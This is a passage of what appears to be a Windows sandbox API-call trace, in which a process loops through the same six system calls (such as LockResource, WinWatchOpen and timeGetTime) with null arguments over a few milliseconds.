(hResData=0x0) returned 0x0 [0140.563] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.563] WinWatchNotify () returned 0x0 [0140.563] timeGetTime () returned 0x1138609 [0140.563] WinWatchOpen () returned 0x29efd8 [0140.563] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.563] LockResource (hResData=0x0) returned 0x0 [0140.563] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.563] WinWatchNotify () returned 0x0 [0140.563] timeGetTime () returned 0x113860a [0140.563] WinWatchOpen () returned 0x29eff8 [0140.563] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.564] LockResource (hResData=0x0) returned 0x0 [0140.564] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.564] WinWatchNotify () returned 0x0 [0140.564] timeGetTime () returned 0x113860a [0140.564] WinWatchOpen () returned 0x29f018 [0140.564] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.564] LockResource (hResData=0x0) returned 0x0 [0140.564] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.564] WinWatchNotify () returned 0x0 [0140.564] timeGetTime () returned 0x113860a [0140.564] WinWatchOpen () returned 0x29f038 [0140.564] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.564] LockResource (hResData=0x0) returned 0x0 [0140.564] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.564] WinWatchNotify () returned 0x0 [0140.564] timeGetTime () returned 0x113860a [0140.564] WinWatchOpen () returned 0x29f058 [0140.564] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.564] LockResource (hResData=0x0) returned 0x0 [0140.564] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.564] WinWatchNotify () returned 0x0 [0140.564] timeGetTime () returned 0x113860a [0140.564] WinWatchOpen () returned 0x29f078 [0140.564] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.564] LockResource (hResData=0x0) returned 0x0 [0140.564] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.564] WinWatchNotify () returned 0x0 [0140.564] timeGetTime () returned 0x113860a [0140.564] WinWatchOpen () returned 0x2a9a18 [0140.564] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.564] LockResource (hResData=0x0) returned 0x0 [0140.564] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.564] WinWatchNotify () returned 0x0 [0140.564] timeGetTime () returned 0x113860a [0140.564] WinWatchOpen () returned 0x2a9a38 [0140.564] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.564] LockResource (hResData=0x0) returned 0x0 [0140.564] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.564] WinWatchNotify () returned 0x0 [0140.564] timeGetTime () returned 0x113860b [0140.564] WinWatchOpen () returned 0x2a9a58 [0140.565] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.565] LockResource (hResData=0x0) returned 0x0 [0140.565] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.565] WinWatchNotify () returned 0x0 [0140.565] timeGetTime () returned 0x113860b [0140.565] WinWatchOpen () returned 0x2a9a78 [0140.565] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.565] LockResource (hResData=0x0) returned 0x0 [0140.565] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.565] WinWatchNotify () returned 0x0 [0140.565] timeGetTime () returned 0x113860b [0140.565] WinWatchOpen () returned 0x2a9a98 [0140.565] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.565] LockResource (hResData=0x0) returned 0x0 [0140.565] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.565] WinWatchNotify () returned 0x0 [0140.565] timeGetTime () returned 0x113860b [0140.565] WinWatchOpen () returned 0x2a9ab8 [0140.565] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.565] LockResource (hResData=0x0) returned 0x0 [0140.565] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.565] WinWatchNotify () returned 0x0 [0140.565] timeGetTime () returned 0x113860b [0140.565] WinWatchOpen () returned 0x2a9ad8 [0140.565] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.565] LockResource (hResData=0x0) returned 0x0 [0140.565] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.565] WinWatchNotify () returned 0x0 [0140.565] timeGetTime () returned 0x113860b [0140.565] WinWatchOpen () returned 0x2a9af8 [0140.565] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.565] LockResource (hResData=0x0) returned 0x0 [0140.565] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.565] WinWatchNotify () returned 0x0 [0140.565] timeGetTime () returned 0x113860b [0140.565] WinWatchOpen () returned 0x2a9b18 [0140.565] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.565] LockResource (hResData=0x0) returned 0x0 [0140.565] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.565] WinWatchNotify () returned 0x0 [0140.565] timeGetTime () returned 0x113860c [0140.565] WinWatchOpen () returned 0x2a9b38 [0140.566] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.566] LockResource (hResData=0x0) returned 0x0 [0140.566] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.566] WinWatchNotify () returned 0x0 [0140.566] timeGetTime () returned 0x113860c [0140.566] WinWatchOpen () returned 0x2a9b58 [0140.566] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.566] LockResource (hResData=0x0) returned 0x0 [0140.566] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.566] WinWatchNotify () returned 0x0 [0140.566] timeGetTime () returned 0x113860c [0140.566] WinWatchOpen () returned 0x2a9b78 [0140.566] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.566] LockResource (hResData=0x0) returned 0x0 [0140.566] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.566] WinWatchNotify () returned 0x0 [0140.566] timeGetTime () returned 0x113860c [0140.566] WinWatchOpen () returned 0x2a9b98 [0140.566] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.566] LockResource (hResData=0x0) returned 0x0 [0140.566] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.566] WinWatchNotify () returned 0x0 [0140.566] timeGetTime () returned 0x113860c [0140.566] WinWatchOpen () returned 0x2a9bb8 [0140.566] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.566] LockResource (hResData=0x0) returned 0x0 [0140.566] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.566] WinWatchNotify () returned 0x0 [0140.566] timeGetTime () returned 0x113860c [0140.566] WinWatchOpen () returned 0x2a9bd8 [0140.566] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.566] LockResource (hResData=0x0) returned 0x0 [0140.566] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.566] WinWatchNotify () returned 0x0 [0140.566] timeGetTime () returned 0x113860c [0140.566] WinWatchOpen () returned 0x2a9bf8 [0140.566] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.566] LockResource (hResData=0x0) returned 0x0 [0140.566] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.566] WinWatchNotify () returned 0x0 [0140.566] timeGetTime () returned 0x113860d [0140.566] WinWatchOpen () returned 0x2a9c18 [0140.566] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.567] LockResource (hResData=0x0) returned 0x0 [0140.567] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.567] WinWatchNotify () returned 0x0 [0140.567] timeGetTime () returned 0x113860d [0140.567] WinWatchOpen () returned 0x2a9c38 [0140.567] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.567] LockResource (hResData=0x0) returned 0x0 [0140.567] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.567] WinWatchNotify () returned 0x0 [0140.567] timeGetTime () returned 0x113860d [0140.567] WinWatchOpen () returned 0x2a9c58 [0140.567] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.567] LockResource (hResData=0x0) returned 0x0 [0140.567] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.567] WinWatchNotify () returned 0x0 [0140.567] timeGetTime () returned 0x113860d [0140.567] WinWatchOpen () returned 0x2a9c78 [0140.567] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.567] LockResource (hResData=0x0) returned 0x0 [0140.567] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.567] WinWatchNotify () returned 0x0 [0140.567] timeGetTime () returned 0x113860d [0140.567] WinWatchOpen () returned 0x2a9c98 [0140.567] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.567] LockResource (hResData=0x0) returned 0x0 [0140.567] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.567] WinWatchNotify () returned 0x0 [0140.567] timeGetTime () returned 0x113860d [0140.567] WinWatchOpen () returned 0x2a9cb8 [0140.567] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.567] LockResource (hResData=0x0) returned 0x0 [0140.567] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.567] WinWatchNotify () returned 0x0 [0140.567] timeGetTime () returned 0x113860d [0140.567] WinWatchOpen () returned 0x2a9cd8 [0140.567] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.567] LockResource (hResData=0x0) returned 0x0 [0140.567] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.567] WinWatchNotify () returned 0x0 [0140.567] timeGetTime () returned 0x113860e [0140.567] WinWatchOpen () returned 0x2a9cf8 [0140.568] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.568] LockResource (hResData=0x0) returned 0x0 [0140.568] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.568] WinWatchNotify () returned 0x0 [0140.568] timeGetTime () returned 0x113860e [0140.568] WinWatchOpen () returned 0x2a9d18 [0140.568] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.568] LockResource (hResData=0x0) returned 0x0 [0140.568] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.568] WinWatchNotify () returned 0x0 [0140.568] timeGetTime () returned 0x113860e [0140.568] WinWatchOpen () returned 0x2a9d38 [0140.568] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.568] LockResource (hResData=0x0) returned 0x0 [0140.568] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.568] WinWatchNotify () returned 0x0 [0140.568] timeGetTime () returned 0x113860e [0140.568] WinWatchOpen () returned 0x2a9d58 [0140.568] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.568] LockResource (hResData=0x0) returned 0x0 [0140.568] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.568] WinWatchNotify () returned 0x0 [0140.568] timeGetTime () returned 0x113860e [0140.568] WinWatchOpen () returned 0x2a9d78 [0140.568] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.568] LockResource (hResData=0x0) returned 0x0 [0140.568] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.568] WinWatchNotify () returned 0x0 [0140.568] timeGetTime () returned 0x113860e [0140.568] WinWatchOpen () returned 0x2a9d98 [0140.568] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.568] LockResource (hResData=0x0) returned 0x0 [0140.568] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.568] WinWatchNotify () returned 0x0 [0140.568] timeGetTime () returned 0x113860e [0140.568] WinWatchOpen () returned 0x2a9db8 [0140.568] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.569] LockResource (hResData=0x0) returned 0x0 [0140.569] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.569] WinWatchNotify () returned 0x0 [0140.569] timeGetTime () returned 0x113860f [0140.569] WinWatchOpen () returned 0x2a9dd8 [0140.569] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.569] LockResource (hResData=0x0) returned 0x0 [0140.569] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.569] WinWatchNotify () returned 0x0 [0140.569] timeGetTime () returned 0x113860f [0140.569] WinWatchOpen () returned 0x2a9df8 [0140.569] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.569] LockResource (hResData=0x0) returned 0x0 [0140.569] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.569] WinWatchNotify () returned 0x0 [0140.569] timeGetTime () returned 0x113860f [0140.569] WinWatchOpen () returned 0x2a9e18 [0140.569] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.569] LockResource (hResData=0x0) returned 0x0 [0140.569] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.569] WinWatchNotify () returned 0x0 [0140.569] timeGetTime () returned 0x113860f [0140.569] WinWatchOpen () returned 0x2a9e38 [0140.569] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.569] LockResource (hResData=0x0) returned 0x0 [0140.569] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.569] WinWatchNotify () returned 0x0 [0140.569] timeGetTime () returned 0x113860f [0140.569] WinWatchOpen () returned 0x2a9e58 [0140.569] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.569] LockResource (hResData=0x0) returned 0x0 [0140.569] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.569] WinWatchNotify () returned 0x0 [0140.569] timeGetTime () returned 0x113860f [0140.569] WinWatchOpen () returned 0x2a9e78 [0140.569] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.569] LockResource (hResData=0x0) returned 0x0 [0140.569] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.569] WinWatchNotify () returned 0x0 [0140.569] timeGetTime () returned 0x1138610 [0140.569] WinWatchOpen () returned 0x2a9e98 [0140.570] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.570] LockResource (hResData=0x0) returned 0x0 [0140.570] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.570] WinWatchNotify () returned 0x0 [0140.570] timeGetTime () returned 0x1138610 [0140.570] WinWatchOpen () returned 0x2a9eb8 [0140.570] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.570] LockResource (hResData=0x0) returned 0x0 [0140.570] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.570] WinWatchNotify () returned 0x0 [0140.570] timeGetTime () returned 0x1138610 [0140.570] WinWatchOpen () returned 0x2a9ed8 [0140.570] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.570] LockResource (hResData=0x0) returned 0x0 [0140.570] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.570] WinWatchNotify () returned 0x0 [0140.570] timeGetTime () returned 0x1138610 [0140.570] WinWatchOpen () returned 0x2a9ef8 [0140.570] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.570] LockResource (hResData=0x0) returned 0x0 [0140.570] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.570] WinWatchNotify () returned 0x0 [0140.570] timeGetTime () returned 0x1138610 [0140.570] WinWatchOpen () returned 0x2a9f18 [0140.570] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.570] LockResource (hResData=0x0) returned 0x0 [0140.570] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.570] WinWatchNotify () returned 0x0 [0140.570] timeGetTime () returned 0x1138610 [0140.570] WinWatchOpen () returned 0x2a9f38 [0140.570] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.570] LockResource (hResData=0x0) returned 0x0 [0140.570] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.570] WinWatchNotify () returned 0x0 [0140.570] timeGetTime () returned 0x1138610 [0140.570] WinWatchOpen () returned 0x2a9f58 [0140.570] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.570] LockResource (hResData=0x0) returned 0x0 [0140.570] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.570] WinWatchNotify () returned 0x0 [0140.570] timeGetTime () returned 0x1138611 [0140.570] WinWatchOpen () returned 0x2a9f78 [0140.570] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.571] LockResource (hResData=0x0) returned 0x0 [0140.571] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.571] WinWatchNotify () returned 0x0 [0140.571] timeGetTime () returned 0x1138611 [0140.571] WinWatchOpen () returned 0x2a9f98 [0140.571] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.571] LockResource (hResData=0x0) returned 0x0 [0140.571] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.571] WinWatchNotify () returned 0x0 [0140.571] timeGetTime () returned 0x1138611 [0140.571] WinWatchOpen () returned 0x2a9fb8 [0140.571] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.571] LockResource (hResData=0x0) returned 0x0 [0140.571] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.571] WinWatchNotify () returned 0x0 [0140.571] timeGetTime () returned 0x1138611 [0140.571] WinWatchOpen () returned 0x2a9fd8 [0140.571] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.571] LockResource (hResData=0x0) returned 0x0 [0140.571] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.571] WinWatchNotify () returned 0x0 [0140.571] timeGetTime () returned 0x1138611 [0140.571] WinWatchOpen () returned 0x2a9ff8 [0140.571] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.571] LockResource (hResData=0x0) returned 0x0 [0140.571] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.571] WinWatchNotify () returned 0x0 [0140.571] timeGetTime () returned 0x1138611 [0140.571] WinWatchOpen () returned 0x2aa018 [0140.571] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.571] LockResource (hResData=0x0) returned 0x0 [0140.571] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.571] WinWatchNotify () returned 0x0 [0140.571] timeGetTime () returned 0x1138611 [0140.571] WinWatchOpen () returned 0x2aa038 [0140.571] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.571] LockResource (hResData=0x0) returned 0x0 [0140.571] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.571] WinWatchNotify () returned 0x0 [0140.571] 